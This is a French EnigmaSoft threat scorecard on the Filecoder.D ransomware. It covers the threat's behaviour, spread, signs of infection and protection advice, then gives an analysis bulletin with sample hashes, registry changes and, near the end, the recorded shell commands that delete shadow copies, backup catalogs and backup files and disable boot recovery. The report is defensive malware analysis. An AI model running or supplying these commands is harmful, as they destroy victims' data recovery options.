Ransomware Filecoder.D
Fiche d'évaluation menace
Tableau de bord des menaces EnigmaSoft
EnigmaSoft Threat Scorecards sont des rapports d'évaluation de différentes menaces de logiciels malveillants qui ont été collectés et analysés par notre équipe de recherche. Les tableaux de bord des menaces EnigmaSoft évaluent et classent les menaces à l'aide de plusieurs mesures, notamment les facteurs de risque réels et potentiels, les tendances, la fréquence, la prévalence et la persistance. Les cartes de pointage EnigmaSoft Threat sont mises à jour régulièrement sur la base de nos données et mesures de recherche et sont utiles pour un large éventail d'utilisateurs d'ordinateurs, des utilisateurs finaux à la recherche de solutions pour supprimer les logiciels malveillants de leurs systèmes aux experts en sécurité analysant les menaces.
Les tableaux de bord des menaces d'EnigmaSoft affichent une variété d'informations utiles, notamment :
Classement de popularité : Le classement d'une menace particulière dans la base de données de menaces d'EnigmaSoft.
Niveau de gravité : le niveau de gravité déterminé d'un objet, représenté numériquement, sur la base de notre processus de modélisation des risques et de nos recherches, comme expliqué dans nos critères d'évaluation des menaces .
Ordinateurs infectés : le nombre de cas confirmés et suspects d'une menace particulière détectée sur des ordinateurs infectés, tel que rapporté par SpyHunter.
Voir aussi Critères d'évaluation des menaces .
| Niveau de menace: | 100 % (Haute) |
| Ordinateurs infectés : | 84 |
| Vu la première fois: | January 24, 2013 |
| Vu pour la dernière fois : | October 19, 2026 |
| Systèmes d'exploitation concernés: | Windows |
Le ransomware Filecoder.D est une menace dangereuse qui chiffre les fichiers des ordinateurs Windows afin de les empêcher d'accéder à leurs documents, photos et autres fichiers personnels jusqu'au paiement d'une rançon. Classé au niveau de dangerosité maximal, ce logiciel malveillant est actif depuis longtemps, des détections s'étendant du début de l'année 2013 à des activités récentes, ce qui démontre qu'il représente toujours une menace sérieuse que les chercheurs en sécurité continuent de surveiller.
Table des matières
Que fait le ransomware Filecoder.D ?
Une fois activé sur un système, Filecoder.D analyse les disques locaux à la recherche de fichiers importants (documents, images, PDF et fichiers Microsoft Office, par exemple) et les chiffre à l'aide de techniques cryptographiques robustes, rendant les données illisibles sans une clé de déchiffrement spéciale détenue par les attaquants. Ce logiciel malveillant exploite les bibliothèques de chiffrement de Windows pour réaliser ce processus, ce qui rend la récupération manuelle des fichiers extrêmement difficile, voire impossible, sans sauvegarde.
Un comportement particulièrement destructeur associé à cette menace est sa tentative de suppression des clichés instantanés de volume (VSC), une fonctionnalité intégrée de Windows permettant de restaurer des versions antérieures de fichiers. En exécutant des commandes pour supprimer ces clichés et en désactivant les services système associés, le ransomware empêche les victimes d'utiliser facilement les outils Windows natifs pour récupérer leurs données chiffrées, accentuant ainsi la pression pour payer la rançon exigée. Il peut également tenter d'interagir avec les services et processus système afin de désactiver les outils de sécurité ou de s'exécuter avec des privilèges élevés. De plus, il a été observé qu'il utilise des composants de script tels que PowerShell lors de son exécution, une tactique courante chez les familles de ransomwares modernes pour se fondre dans l'activité légitime du système.
Comment cela se propage
Comme la plupart des rançongiciels, Filecoder.D utilise généralement des méthodes de distribution trompeuses plutôt qu'un canal de diffusion unique et fixe. Les vecteurs d'infection courants pour ce type de menace incluent les pièces jointes malveillantes déguisées en factures ou documents, les liens infectés dans les spams, les kits d'exploitation qui tirent parti des vulnérabilités logicielles non corrigées, les téléchargements groupés provenant de sites web non fiables et les logiciels piratés ou les applications crackées. Les utilisateurs peuvent déclencher l'infection sans le savoir en ouvrant un fichier malveillant ou en activant des macros dans un document compromis.
Risques pour les utilisateurs
Les conséquences d'une infection par Filecoder.D peuvent être graves. Les victimes risquent de perdre définitivement l'accès à des fichiers irremplaçables, tels que des photos de famille, des documents financiers et des documents professionnels, surtout en l'absence de sauvegarde. Outre la perte de données, le paiement de la rançon n'offre aucune garantie que les attaquants fourniront une clé de déchiffrement valide et ne fait que financer leurs activités criminelles. Les systèmes infectés peuvent également subir une baisse de performance, la désactivation de certaines fonctions de sécurité et une vulnérabilité accrue à d'autres logiciels malveillants.
Signes d’infection
Les utilisateurs doivent être attentifs à tout fichier devenant soudainement inaccessible ou affichant des extensions inhabituelles, à l'apparition de demandes de rançon sur le bureau ou dans des dossiers, à un ralentissement notable des performances du système, à des fenêtres contextuelles inattendues exigeant un paiement, ainsi qu'à l'absence de copies de sauvegarde instantanées ou de points de restauration. Une activité inhabituelle impliquant des services système ou des outils de script s'exécutant sans explication peut également constituer un signe d'alerte.
Comment rester protégé
Pour réduire les risques d'infection par rançongiciel, il est conseillé aux utilisateurs de sauvegarder régulièrement leurs fichiers importants sur un support externe ou hors ligne, de maintenir leur système d'exploitation et tous leurs logiciels à jour avec les derniers correctifs de sécurité, d'éviter d'ouvrir les pièces jointes ou les liens provenant de courriels inconnus ou suspects, et de s'abstenir de télécharger des logiciels piratés. L'utilisation d'un logiciel de sécurité fiable, l'activation d'un pare-feu et la prudence avec les macros dans les documents bureautiques sont également essentielles. La conservation de sauvegardes à jour demeure le moyen le plus sûr de se remettre d'une attaque par rançongiciel sans payer de rançon.
Bulletin d'analyse
Informations générales
| Nom de famille : | Filecoder.D Ransomware |
|---|---|
| Statut de la signature : | No Signature |
Échantillons connus
Échantillons connus
Cette section répertorie d'autres exemples de fichiers que l'on pense être associés à cette famille.|
MD5:
b10a7ece58207d3caecff1e7a3c33647
SHA1:
0568f740a0fcfc1506700f54136d341a351c51a5
SHA256:
9B1B6DC7878A1A9E2BDF659CA21DC62B16618B4C228B1E571757DF8772A2047F
Taille du fichier:
678.91 KB 678912 octets
|
Attributs des exécutables portables Windows
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have resources
- File doesn't have security information
- File has TLS information
- File is 32-bit executable
- File is either console or GUI application
- File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
- File is Native application (NOT .NET application)
- File is not packed
Afficher plus
- IMAGE_FILE_DLL is not set inside PE header (Executable)
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
Caractéristiques du fichier
- HighEntropy
- No Version Info
- x86
Informations sur le bloc
Informations sur le bloc
Lors de l'analyse, EnigmaSoft segmente les échantillons de fichiers en blocs logiques afin de les classer et de les comparer à d'autres échantillons. Ces blocs permettent de générer des règles de détection de logiciels malveillants et de regrouper les échantillons de fichiers en familles en fonction du code source partagé, des fonctionnalités et d'autres attributs et caractéristiques distinctifs. Cette section présente un résumé de ces données de bloc, ainsi que leur classification par EnigmaSoft. Une représentation visuelle des données de bloc est également affichée, le cas échéant.| Nombre total de blocs : | 2,658 |
|---|---|
| Blocages potentiellement malveillants : | 109 |
| Blocs autorisés : | 2,549 |
| Blocs inconnus : | 0 |
Carte visuelle
? - Bloc inconnu
x - Blocage potentiellement malveillant
Fichiers modifiés
Fichiers modifiés
Cette section répertorie les fichiers créés, modifiés, déplacés et/ou supprimés par les échantillons de cette famille. L'activité du système de fichiers peut fournir des informations précieuses sur le fonctionnement des logiciels malveillants au sein du système d'exploitation.| Déposer | Attributs |
|---|---|
| \device\namedpipe\dav rpc service | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| \device\namedpipe\pshost.134367906788192588.6460.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\wkssvc | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_qeb0kbvh.thf.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_umqkfmxb.r1n.psm1 | Generic Write,Read Attributes |
Modifications du registre
Modifications du registre
Cette section répertorie les clés et valeurs de registre créées, modifiées et/ou supprimées par les échantillons de cette famille. L'activité du registre Windows peut fournir des informations précieuses sur le fonctionnement des logiciels malveillants. De plus, ces derniers créent souvent des valeurs de registre pour pouvoir démarrer automatiquement et persister indéfiniment après une infection initiale du système.| Clé::Valeur | Données | Nom de l'API |
|---|---|---|
| HKLM\software\microsoft\windows\currentversion\policies\system::enablelinkedconnections | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\run::msfeeditor | "c:\users\user\downloads\0568f740a0fcfc1506700f54136d341a351c51a5_0000678912" e | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 몯㢼廦ǝ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 榃㤋廦ǝ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | ᗑ㥚廦ǝ | RegNtPreCreateKey |
Utilisation de l’API Windows
Utilisation de l'API Windows
Cette section répertorie les appels d'API Windows utilisés par les exemples de cette famille. L'analyse de l'utilisation des API Windows est un outil précieux permettant d'identifier les activités malveillantes, telles que l'enregistrement des frappes au clavier, l'élévation de privilèges, le chiffrement et l'exfiltration de données, l'interférence avec les logiciels antivirus et la manipulation des requêtes réseau.| Catégorie | API |
|---|---|
| Service Control |
|
| Process Shell Execute |
|
| Process Manipulation Evasion |
|
| Syscall Use |
Afficher plus
|
| Anti Debug |
|
| User Data Access |
|
| Process Terminate |
|
| Encryption Used |
|
| Other Suspicious |
|
Exécution de commandes Shell
Exécution de commandes Shell
Cette section répertorie les commandes de l'interpréteur de commandes Windows exécutées par les échantillons de cette famille. Ces commandes sont fréquemment utilisées par les logiciels malveillants à des fins malveillantes et peuvent servir à élever les privilèges d'administrateur, télécharger et exécuter d'autres logiciels malveillants, exploiter des vulnérabilités, collecter et exfiltrer des données, et dissimuler des activités malveillantes.
vssadmin delete shadows /all /quiet
|
net stop VSS & sc config VSS start= disabled
|
sc config VSS start= Demand & net start VSS
|
WriteConsole: DESCRIPTION:
|
wmic.exe SHADOWCOPY delete /nointeractive
|
Afficher plus
vssadmin.exe Delete Shadows /All /Quiet
|
vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=401MB
|
vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=unbounded
|
vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=401MB
|
vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=unbounded
|
vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=401MB
|
vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=unbounded
|
vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=401MB
|
vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=unbounded
|
vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=401MB
|
vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=unbounded
|
vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=401MB
|
vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=unbounded
|
bcdedit.exe /set {default} recoveryenabled No
|
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
|
wbadmin.exe DELETE CATALOG -quiet
|
icacls.exe "{A-Z}:" /grant {Username}:F /T /C /Q
|
WriteConsole: {Username}
|
WriteConsole: :
|
WriteConsole: No mapping betwe
|
WriteConsole: Successfully pro
|
del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
|
del /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set d:\*.win d:\*.dsk
|
del /s /f /q e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.* e:\backup*.* e:\*.set e:\*.win e:\*.dsk
|
del /s /f /q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f:\Backup*.* f:\backup*.* f:\*.set f:\*.win f:\*.dsk
|
del /s /f /q g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.* g:\backup*.* g:\*.set g:\*.win g:\*.dsk
|
del /s /f /q h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.* h:\backup*.* h:\*.set h:\*.win h:\*.dsk
|
del %0
|
wbadmin.exe DELETE SYSTEMSTATEBACKUP
|
wbadmin.exe DELETE SYSTEMSTATEBACKUP -deleteoldest
|
powershell -command "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete()
|
